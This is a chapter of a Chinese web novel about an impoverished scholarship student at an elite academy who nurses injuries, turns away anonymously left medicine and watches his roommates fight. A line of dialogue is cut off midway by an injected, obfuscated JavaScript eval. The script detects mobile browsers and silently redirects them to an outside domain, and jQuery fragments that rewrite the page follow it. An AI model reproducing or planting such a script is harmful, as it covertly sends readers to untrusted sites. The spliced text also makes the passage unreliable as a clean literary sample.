宋知寒脱掉上衣，将一把椅子拖到镜子前，缓缓坐下。
下课铃的喧嚣隔着窗外那片萧索的小树林传来，被距离和枝叶滤得只剩一层模糊的嗡鸣，遥远得不真切。天色尚未沉透，校园各处的灯光已次第亮起，远远望去，像一片朦胧而冰冷的星星，构筑着属于圣翡的艺术美感。而宿舍内，宋知寒只需要打开大灯，就足以照亮每一个角落，以及他身上每一寸皮肤。
这里是特招生宿舍，四人间，上床下桌，面积狭窄，学校免了他们的住宿费，相应地住宿条件比普通同学差一些，特招生们也没什么好抱怨的，毕竟其他同学宿舍费一年十万，而别墅区那一片，除了要交百万宿舍费，还必须直接捐赠一定金额才能入住。
按某些同学的说法，他们捐的钱都是拿来养这些特招生了。
昨天在医务室，面对医生，他直言自己没钱缴费，医生那边说可以欠着，依旧细致地为他清洗缝合包扎。此刻，宋知寒的目光在镜中一寸寸检查自己的身体。从小到大挨了太多次打，早已将他的骨皮锤炼得坚硬，粗粝而麻木，对痛楚的阈值远超常人。
昨天那场群架，确实很疼，但在可忍受的范围内。身上的伤确实很严重，但也在可忽视的范围内。
他擅长最低限度地活着。
比起这个，更麻烦的是那些被撕毁的书。课本内容他在发下来的第一天就看完了，但绑定芯片的作业没法交，他必须设法弄到一套新课本。
更重要的是那本《基因编程系统：合成生物学的计算原理》，他从图书馆借的，如果要赔的话，价格非常昂贵，最重要的是，他需要借助那本书完成《模块化CRISPR-CasX系统的定向进化与多重基因组编辑应用》的论文。
上交论文和一笔不菲的报名费后，如果论文通过审核，他就可以参加未来基因组计划年度峰会。
班主任劝他很多次，说这个峰会很重要，是宋知寒唯一能接触接触顶级学术资源，如果成功的话足以带他平步青云，她甚至愿意借给宋知寒一笔钱交报名费。
宋知寒也决定抓住这次机会，甚至已经选好了要在会议上接触的目标导师，所以他去食堂打工，准备报名费，又准备论文，但现在，书被毁了。
里面的内容十分晦涩，即使宋知寒也看得一知半解，还有很多需要仔细研究的地方。
那本书甚至没有电子版，图书馆也仅此一本。
宋知寒难得有些懊悔，他不应该把那本书留在教室的。
论文要继续写，报名费无法退回，他必须去参加峰会，课本的话可以先去找各科老师求情，解释芯片被毁的缘由，至于那本书……
宋知寒还想不到解决的办法。
他盯着镜子里自己额角渗血的纱布，眉头紧锁。
叩、叩、叩。
三声规律而清晰的敲门声，突兀地切断了宿舍里凝滞的空气。
这个点不应该会有人来找他。
他无声地贴近门板，透过狭窄的猫眼向外窥视，走廊空荡，昏黄的顶灯下，只有冰冷的水泥地面。
沉默片刻后，宋知寒拧开了门锁。
门口地上安静地躺着一个半透明的塑料袋，里面塞着几个大小不一的药盒，全新包装，没有拆封。一张折叠整齐的小票被刻意放在最上面，清晰打印着购买时间和地点，这些药都是半个小时前从医务室药房买的。
宋知寒只粗略一扫，就看出来都是些用来治疗外伤和消炎止痛的药。
宋知寒的目光在那张小票上停留了一瞬，眼神毫无波澜，他沉默地退后半步，咔哒一声轻响，门被重新关紧。
比起直白的恶意，包装成善意的陷阱更可怕，他在很小很小的时候就明白这个道理了。
晚自习结束的嘈杂终于漫过小树林，涌入楼道。钥匙插入锁孔的金属摩擦声响起，室友推门进来，一眼瞥见放在那里无人问津的塑料袋，问道：“老宋，门口这袋子谁的？”
“不知道。”宋知寒正在查阅资料，头也不抬地说。
“不知道？”室友狐疑地蹲下身，拨开袋子看了看：“诶，全是药。这不明摆着给你的吗？有人暗恋你？”
宋知寒敲击键盘的手指没有丝毫停顿，屏幕的光映着他侧脸的纱布和未消的淤痕，一片冷硬。
室友继续说：“放在这儿也不是个事啊。”
“碍事就扔了。”宋知寒说。
“扔了？那要是暗恋你的人是个贵族大小姐，我扔了不就要倒大霉了。”室友啧了一声，站起身，目光扫过他脸上显眼的伤，话里话外透着无奈：“你看看你这副样子……”
他顿了顿，终究没再说下去，只是重重叹了口气，坐回自己桌前。
秦浪也是特招生，但与宋知寒不同。他父母是普通工薪阶层，自己则像是中了基因彩票，成了那座小城数一数二的天才。他生活虽不宽裕，父母咬咬牙也付得起书本费，没有真正尝过在生存线上挣扎的滋味。他比宋知寒性格要开朗很多，也更加圆滑，即使是特招生，也有不少朋友。
他安静下来，宿舍里只剩下宋知寒指尖敲击键盘的声响。
这份沉寂并未维持多久，宿舍门被粗暴地推开，另一个室友陈锋带着一身低气压闯进来。他显然在外面受了气，脸色铁青，没留神脚下，砰一声被门口的塑料袋绊了个趔趄。
“操！这他妈什么玩意儿？！”陈锋稳住身形，怒火瞬间找到了出口，一脚踢开碍事的袋子，愤怒的目光扫向屋内两人：“谁的？放门口挡道，有病是吧！”
宋知寒没理他，秦浪扫了宋知寒一眼，陈锋见状，冷笑一声：“宋知寒的是吧。”
他弯腰，一把抓起那个半透明的塑料袋，看也没看里面的东西，用力扔进了墙角的垃圾桶。
秦浪盯着垃圾桶，无声地张大了嘴，瞳孔微缩，似乎想说什么，却又被陈锋接下来的话堵了回去。
陈锋转向宋知寒，语气是毫不掩饰的幸灾乐祸：“我说呢，昨天回来跟个鬼似的。一班的事我听说了，行啊宋知寒，胆子够肥，居然敢把赵铭那伙人打进医务室？你知不知道你捅了多大篓子？这回你他妈算是彻底完了！”
“你放什么屁！”秦浪忍不住反驳，声音带着怒气：“是他们先欺人太甚！”
“一个巴掌拍不响！”陈锋梗着脖子，毫不示弱地顶回去：“他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220060|181479||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宋知寒要是老老实实缩着，不整天摆着那张死人脸惹人厌，人家会专门找他麻烦？就是因为他这种刺头，我们特招生的日子才越来越难过！秦浪你他妈也是个傻逼，巴结这么个哑巴木头有什么用？人家稀罕搭理你吗，心里指不定怎么看不起你呢！”
“你过来，老子让你看看一个巴掌到底能不能拍响！”秦浪被彻底激怒，猛地从椅子上站起来，挥着巴掌就朝陈锋扑过去。
陈锋一边骂骂咧咧地躲闪，一边试图还手，狭窄的宿舍顿时一片兵荒马乱。
就在这混乱之中，宋知寒依旧端坐在自己的椅子上。屏幕幽蓝的光映着他冷硬的侧脸线条，额角的纱布和淤青在光线下显得格外刺目，他希望能在网上找到一些关于那本书的线索。
宿舍门再次被轻轻推开，最后一位室友探进头来，看到里面扭打的秦浪和陈锋，以及角落里那个仿佛置身事外的宋知寒，眉头紧紧皱起，脸上掠过一丝厌烦和畏惧。他什么也没说，无声地缩回头，轻轻带上了门，仿佛从未回来过。
林翎对特招生宿舍楼那场因他留下的药物而引起的混乱浑然不觉，不过宋知寒开门的时候，他就躲在走廊里偷看，当那扇门被宋知寒毫无波澜地重新关上时，林翎便明白了，那份药品，连同其背后可能隐含的任何善意或者恶意，都被对方拒绝了。
在圣翡学院内，宋知寒谨慎一些也是理所当然的，林翎不敢暴露自己，只站了一会就赶去上晚自习了。
第二天在食堂见到宋知寒他还是懵逼的，林翎像往常一样早上五点准时踏进食堂，见到的却不是熟悉的阿姨，而是站在窗口后面的宋知寒。
赵铭那群人还在医务室的病床上哼哼唧唧，生怕留下一点后遗症，而宋知寒，这个伤得最严重的人却已经站在了这里。他戴着严实的口罩，遮住了大半张脸，只露出一双眼睛。那眼睛在食堂顶灯过分明亮的光线下，显得比平时更加漆黑，沉静，疏离。
林翎呆愣愣地看着他，一时忘了反应。
宋知寒怎么会在这里？这个时间？他昨天受的伤不需要休息吗？是换了班次，还是延长了工作时间？
见是林翎，宋知寒也没有特别的反应，既不热络，也没有露出厌恶的表情，好像只是面对一个普通的同学一样。
“你要点什么？”宋知寒的声音透过口罩传来，闷闷的，听不出任何情绪。
林林翎的喉咙动了动，无数问题在胸腔里翻腾：那些药你最后用了吗？为什么会在这里？伤口还疼吗？是不是又缺钱了？但他知道就算问了宋知寒也不会回答，只好默默地点了自己常吃的早餐。
宋知寒不再多言，动作麻利地转身。蒸腾的热气和暖橘色的灯光在玻璃窗后氤氲，形成一个模糊的结界，将他包裹其中，营造出有些孤僻又温暖的氛围感。
餐盘从玻璃窗下的传递口推了出来，林翎伸手去接，就在这一瞬间，他清晰地感受到从餐盘另一端传递过来的，属于宋知寒稳定而短暂的力道，随即迅速抽离。
林翎端着那份热腾腾的早餐，转身走向自己习惯的位置，低下头，熟悉的阿姨往常会给他拿两个最饱满最漂亮的包子，今天却是非常普通的两个。